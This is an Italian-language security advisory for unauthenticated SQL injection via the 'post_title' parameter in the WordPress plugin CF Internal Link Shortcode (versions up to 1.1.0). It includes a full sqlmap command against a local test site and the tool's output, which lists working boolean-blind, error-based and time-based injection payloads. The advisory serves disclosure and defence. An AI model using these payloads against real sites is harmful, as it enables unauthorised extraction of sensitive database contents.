
CF Internal Link Shortcode <= 1.1.0 - Iniezione SQL non autenticata
CF Internal Link Shortcode <= 1.1.0 - Iniezione SQL non autenticata
Il plugin CF Internal Link Shortcode per WordPress è vulnerabile all'Iniezione SQL tramite il parametro 'post_title' in tutte le versioni fino alla 1.1.0 inclusa, a causa di un escaping insufficiente sul parametro fornito dall'utente e di una mancanza di preparazione adeguata della query SQL esistente. Ciò consente ad attaccanti non autenticati di aggiungere ulteriori query SQL alle query già esistenti, che possono essere utilizzate per estrarre informazioni sensibili dal database.
python3 /tools/sqlmap/sqlmap.py -u 'https://wp-dev.ddev.site:443/?cf_action=cfplsc_id_lookup&post_title=test' --text-only --dbms='MySQL ' -p post_title
___
__H__
___ ___[(]_____ ___ ___ {1.9.1.2#dev}
|_ -| . [)] | .'| . |
|___|_ [,]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 14:51:48 /2025-01-10/
[14:51:48] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: post_title (GET)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)
Payload: cf_action=cfplsc_id_lookup&post_title=test' OR NOT 3808=3808#
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: cf_action=cfplsc_id_lookup&post_title=test' AND (SELECT 4623 FROM(SELECT COUNT(*),CONCAT(0x716a767071,(SELECT (ELT(4623=4623,1))),0x717a7a7671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- UaJb
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: cf_action=cfplsc_id_lookup&post_title=test' AND (SELECT 1598 FROM (SELECT(SLEEP(5)))TDXA)-- qAaL
---
[14:51:48] [INFO] testing MySQL
[14:51:48] [INFO] confirming MySQL
[14:51:48] [WARNING] reflective value(s) found and filtering out
[14:51:48] [INFO] the back-end DBMS is MySQL
web application technology: Nginx
back-end DBMS: MySQL >= 5.0.0 (MariaDB fork)